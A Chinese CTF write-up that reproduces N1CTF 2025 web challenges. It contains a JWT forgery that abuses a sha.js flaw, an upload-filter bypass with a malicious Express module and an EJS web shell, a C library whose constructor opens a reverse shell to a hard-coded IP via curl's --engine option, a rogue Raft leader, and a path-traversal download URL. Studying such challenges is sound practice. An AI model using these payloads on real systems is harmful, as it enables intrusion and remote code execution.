N1CTF web 复现

(2025-11-23T09:20:52.974Z)
Nick Chen

文章摘要

Summarizing...

爆零了

eezzjs

image.png

以后拿到 node.js 题目白盒优先跑一遍 audit,这里很容易拿到漏洞相关信息。

这里先审一下源码,看到管理员 username 为 admin 密码为随机生成,鉴权方式为 jwt token,jwt secret 也为 randombytes 生成的随机密钥,在对密码取哈希值的时候使用到了有漏洞的 sha.js 库。

注意到在计算目标签名时,使用了以下代码

let header;
let payload;
try {
    header = JSON.parse(fromBase64Url(encodedHeader).toString());
    payload = JSON.parse(fromBase64Url(encodedPayload).toString());
} catch (err) {
    return null;
}

const expectedSignatureHex = sha256(...[JSON.stringify(header), payload, secret]);

header 和 payload 都是 JSON.parse 的返回值,类型应该为对象,而计算 hex 时传入的 payload 没有序列化,也就是永远为 [object Object]

我们再回去看上面 audit 到的 CVE,这个漏洞就是说因为 sha.js 对于输入未检验,导致在传入精心构造的对象类型数据时会触发未定义的行为。

// e.g. 回退
> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'

我们就利用这一点可以构造出绕过 verifyJWT 的 token。

const sha = require('sha.js');
const crypto = require('crypto');
const JWT_SECRET = crypto.randomBytes(9).toString('hex');
const sha256 = (...messages) => {
  const hash = sha('sha256');
  messages.forEach((m) => hash.update(m));
  return hash.digest('hex');
};
const toBase64Url = (input) => {
  const buffer = Buffer.isBuffer(input) ? input : Buffer.from(input);
  return buffer
      .toString('base64')
      .replace(/\+/g, '-')
      .replace(/\//g, '_')
      .replace(/=+$/, '');
};
const header = JSON.stringify({
  "alg": "HS256",
  "typ": "JWT"
})
const payload = {length: -JWT_SECRET.length-header.length}
const pwnToken = sha256(...[
  header,
  payload,
  JWT_SECRET
])

console.log(`${toBase64Url(header)}.${toBase64Url(JSON.stringify(payload))}.${pwnToken}`)

image.png

可以看到,随机的 JWT_SECRET 已经无法影响 token 的值,我们利用成功了

image.png

成功进入上传界面。

function serveIndex(req, res) {
    var templ = req.query.templ || 'index';
    var lsPath = path.join(__dirname, req.path);
    try {
        res.render(templ, {
            filenames: fs.readdirSync(lsPath),
            path: req.path
        });
    } catch (e) {
        console.log(e);
        res.status(500).send('Error rendering page');
    }
}

再审,得知我们可以通过查询参数 templ 控制渲染的 ejs 模板,这里就很清晰了。看看上传逻辑:

function uploadFile(req, res) {
    var {filedata,filename}=req.body;
    var ext = path.extname(filename).toLowerCase();

    if (/js/i.test(ext)) {
        return  res.status(403).send('Denied filename');
    }
    var filepath = path.join(uploadDir,filename);

    if (fs.existsSync(filepath)) {
        return res.status(500).send('File already exists');
    }

    fs.writeFile(filepath, filedata, 'base64', (err) => {
        if (err) {
            console.log(err);
            res.status(500).send('Error saving file');
        } else {
            res.status(200).send({ message: 'File uploaded successfully', path: `/uploads/${path}` });
        }
    });
}

有一个 waf,这里两种绕法

绕1

一种需要读 express 源码,溯源流程:

  1. ~~改名为 ts 获得强大的 IDE 类型支持。~~其实挺复杂,还要改成 ES6 import 语法,然后 pnpm i @types/express,然后改成这样调用让回调拿到类型,然后就可以愉快 alt + click 了(也不是很愉快)

image.png

  1. render 在本例中用法为传模板名加一些参数(options)

     定位到 Response::res.render() in node_modules\express\lib\response.js:1026 
    
                  → app.render() in node_modules\express\lib\application.js:548

image.png

                 → 这里跳进处理 view 的类 node_modules\express\lib\view.js:52

image.png

到这里差不多可以收尾了,我们传入的 view 如果没有后缀名就会使用默认引擎(也就是 ejs),如果有后缀的话,就会尝试加载 require 这个 mod 的 __express 导出。

image.png

image.png

// pwned
function __express() {
  const fs = require('fs');
  const data = fs.readFileSync('flag');
  fs.writeFileSync('src/uploads/output.txt', data);
}

module.exports = { __express };

//pwned.pwned
test

image.png

绕2

image.png

最后使用了 path.join 处理路径,阅读源码得知它是把所有参数拼接在一起,然后处理成规范的路径

https://github.com/nodejs/node/blob/main/lib/path.js#L1332


  join(...args) {
    if (args.length === 0)
      return '.';

    const path = [];
    for (let i = 0; i < args.length; ++i) {
      const arg = args[i];
      validateString(arg, 'path');
      if (arg.length > 0) {
        path.push(arg);
      }
    }

    if (path.length === 0)
      return '.';

    return posix.normalize(ArrayPrototypeJoin(path, '/'));
  },

5ec82b0aa25fca93b091ff641e3079b2_720.png

所以直接打 ejs 马可行,这里需要警觉的一点不一致就是它检查 waf 关键词的时候查的是 path.extname 但是最终却保存在 path.join,注意到这一点,我们才会去了解 path.join 的行为去利用这个差异。

所以最终打如下 ejs 马

image.png

<%= global.process.mainModule.require('child_process').execSync('cat flag>src/uploads/a.txt') %>

绕3

image.png

没有试

n1saml

A cloud-native, containerized, strongly consistent SAML web application, but maybe something is wrong?

Due to differences between local and remote environments, you need to be aware of the following:

1. In a local environment (started using `docker-compose`), the healthcheck, sp, proxy, and kvstore containers have different IP addresses in the Docker network. Therefore, within the `run.sh` scripts of these containers, the container names will be used as domain names for requests (e.g., proxy:2379, sp:9000).

2. In a remote environment (deployed based on Kubernetes), the healthcheck, sp, proxy, and kvstore containers belong to the same pod, therefore they share a single IP address, which is obtained using the `hostname -i` command.

https://www.youtube.com/watch?v=IujMVjKvWP4

curl 加载 ssl so 库实现 rce

https://hackerone.com/reports/3293801

#include <stdlib.h>

// https://hackerone.com/reports/3293801
// This constructor function is executed automatically by the dynamic loader
// as soon as the library is loaded into the process address space.

__attribute__((constructor))
static void rce_init(void) {
    system("bash -c 'bash -i >& /dev/tcp/101.201.208.77/2333 0>&1'");
}

// gcc -fPIC -shared -o evil_engine.so evil.c
// mind the building platform must be same as target platform
docker run -v pwd:/build -it --platform=linux/amd64 --rm debian:bookworm-slim bash -c "apt update && apt install -y gcc && cd /build && gcc -fPIC -shared -o [evil.so](http://evil.so/) evil.c"
const health_check = 'http://127.0.0.1:8000/healthcheck'

// const p = {
//   "http://101.201.208.77:2333": " ",
//   "-sS": "",
//   "-m": "3",
//   "-o": "/tmp/trash",
//   "--output": "evil.so",
// }
// const res1 = await fetch(health_check, {
//   method: "POST",
//   body: JSON.stringify(p)
// })
// console.log(await res1.text())

const p2 = {
  "--engine": "evil.so"
}
const res2 = await fetch(health_check, {
  method: "POST",
  body: JSON.stringify(p2)
})

console.log(await res2.text())

建立恶意节点,取得 leader 控制权

https://www.yulate.com/post/yZCzSbTp9M/

https://github.com/hashicorp/raft

func (s *Store) Open() error {
	config := raft.DefaultConfig()
	config.LocalID = raft.ServerID(s.nodeID)

	addr, err := net.ResolveTCPAddr("tcp", s.addr)
	if err != nil {
		return err
	}

	transport, err := raft.NewTCPTransport(s.addr, addr, 3, 10*time.Second, os.Stderr)
	if err != nil {
		return err
	}

	logStore := raft.NewInmemStore()
	stableStore := raft.NewInmemStore()
	snapshots := raft.NewInmemSnapshotStore()

	// 设置一个较高的 term 值,之后通过正常选举成为 leader
	if err = stableStore.SetUint64([]byte("CurrentTerm"), 23333); err != nil {
		return fmt.Errorf("failed to set CurrentTerm: %s", err)
	}

	ra, err := raft.NewRaft(config, (*fsm)(s), logStore, stableStore, snapshots, transport)
	// 新建一个raft,你需要传入,config,fsm,logStore,stableStore,snapshots,transport
	// fsm提供了一个有限状态机的实现 https://pkg.go.dev/github.com/hashicorp/raft#FSM
	// LogStore 用于提供一个接口,以可持续的方式存储和检索日志。
	// StableStore 用于提供关键配置的稳定存储,以确保安全性。
	// SnapshotStore 接口用于实现快照存储和检索的灵活实现。
	// 例如,客户端可以实现 S3 等共享状态存储,允许新节点恢复快照,而无需从主节点流式传输。
	// tansport 为网络传输提供了一个接口,使 Raft 能够与其他节点通信。
	if err != nil {
		return err
	}

	s.raft = ra
	configuration := raft.Configuration{
		Servers: s.servers,
	}
	// 正常引导集群配置
	ra.BootstrapCluster(configuration)

	// 等待本节点通过选举成为 leader(基于更高的 term + 超时触发选举)
	leaderCh := ra.LeaderCh()
	timer := time.NewTimer(5 * time.Second)
	defer timer.Stop()
	becameLeader := false
	for !becameLeader {
		select {
		case isLeader := <-leaderCh:
			if isLeader {
				becameLeader = true
			}
		case <-timer.C:
			return fmt.Errorf("timeout waiting to become leader; current leader=%s term=%d", ra.Leader(), ra.CurrentTerm())
		}
	}

	// 成为 leader 后下发 Flush 指令
	c := &Command{Op: "flush"}
	b, err := json.Marshal(c)
	if err != nil {
		return err
	}
	if f := ra.Apply(b, 10*time.Second); f.Error() != nil {
		log.Printf("failed to apply flush command: %s", f.Error())
	} else {
		log.Printf("flush command applied successfully; leader=%s term=%d", ra.Leader(), ra.CurrentTerm())
	}

	return nil
}
# 1) 建立输出目录
mkdir -p dist

# 2) 在容器内编译 poc/raft(GOOS/GOARCH 可按需调整)
sudo docker run --rm -v "${PWD}:/src" -w /src golang:1.22-bookworm `bash -lc "CGO_ENABLED=0 GOOS=linux GOARCH=amd64 GOSUMDB=sum.golang.org go build -o dist/raft main.go"`

这里本地复现出现一些问题:容器间不能用localhost相互访问

复现失败了。https://exp10it.io/posts/breaking-raft-consensus-in-go-n1saml-writeup-for-n1ctf-2025/

n1cat

https://lists.apache.org/thread/n05kjcwyj1s45ovs8ll1qrrojhfb1tog 起手,先把源码读出来。 http://60.205.163.215:21567/download?path=%2FWEB-INF%2Fclasses%2Fctf%2Fn1cat%2FwelcomeServlet.class

评论

0 条
请先 登录 后发表评论。